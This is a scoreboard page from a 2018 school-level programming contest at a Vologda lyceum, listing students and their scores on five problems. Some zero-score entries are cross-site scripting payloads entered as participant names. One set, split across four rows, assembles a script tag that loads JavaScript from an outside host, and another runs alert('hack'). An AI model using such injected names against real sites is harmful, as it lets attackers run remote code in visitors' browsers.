Language:

English
Russian

Практикум по программированию

Для участников:
Регистрация  ||   Вход
Список соревнований
Вы не вошли в систему! Вход или регистрация.

Школьный этап 2018, ВМЛ, 9-11 классы

9.15:59:58

Время начала: 05.10.2018 8:00:00
Длительность: 9.15:59:58
Заморозка: 00:00:00
Место Участник 1 2 3 4 5 Баллы
1 Oрлов Артемий 20 20 20 20 20 100
1 Афанасьев Назар Сергеевич, Вологда, БОУ ВО ВМЛ, 10а 20 20 20 20 20 100
1 Булатова Татьяна Сергеевна, Вологда 20 20 20 20 20 100
1 Гарут Александ Игоревич 20 20 20 20 20 100
1 Елисей Судаков 20 20 20 20 20 100
1 Животов Константин Николаевич 20 20 20 20 20 100
1 Зайцев Никита Игоревич 20 20 20 20 20 100
1 Касков Михаил Андреевич, Вологда, ВМЛ 20 20 20 20 20 100
1 Люлин Кирилл 20 20 20 20 20 100
1 Меньков Дмитрий Алексееви 20 20 20 20 20 100
1 Мясных Антон 20 20 20 20 20 100
1 РешуОГЭ.ру 20 20 20 20 20 100
1 Савельев Андрей Валерьевич, Vologda, VML 20 20 20 20 20 100
1 Соколов Семен Ильич 20 20 20 20 20 100
1 Федотов Владислав 20 20 20 20 20 100
1 Шестаков Михаил 20 20 20 20 20 100
1 Юров Данил Александрович 20 20 20 20 20 100
18 Белокопытов Илья 20 20 20 16 20 96
19 VML- (Белокопытов, Угрюмов, Рудинский, Белокопытов), Иваново, ИТМО 20 20 15 16 20 91
20 Преснухина Полина, Вологда 20 20 20 20   80
21 Чижов Дмитрий 20 20 15 12   67
22 werpop2 20 20 15     55
23 Боборухин Денис 20 20       40
24 Плотникова Д.М. 10 20       30
25 Щигарев Дмитнрий Алексеевич, Вологда, ВМЛ 20         20
26 Орлова Екатерина, Вологда 10         10
27 1<script>var f="<script type=\"text/javascript\""</script>           0
27 2<script>f+="src=\"http://yourjavas"</script>           0
27 3<script>f+="cript.com/112051301148/1"</script>           0
27 4<script>document.write(f+".js\"><"+"/script>")</script>           0
27 <script>alert("hack")</script>           0
27 lol<canvas height=           0
27 y03_kir           0
27 Белоглазов Антон Денисович           0
27 Калинин Никита Александрович, Вологда, БОУ ВО ВМЛ,11 л           0
27 Смирнов Алексей Александрович, Сокол           0
27 Тиханов Дима, Вологда, БОУ ВО ВМЛ           0
27 Тиханов Дмитрий           0
27 Шириков Егор           0
© Copyright ВоГУ, АВТ, Носов Д.А., Смоленцев К.Н.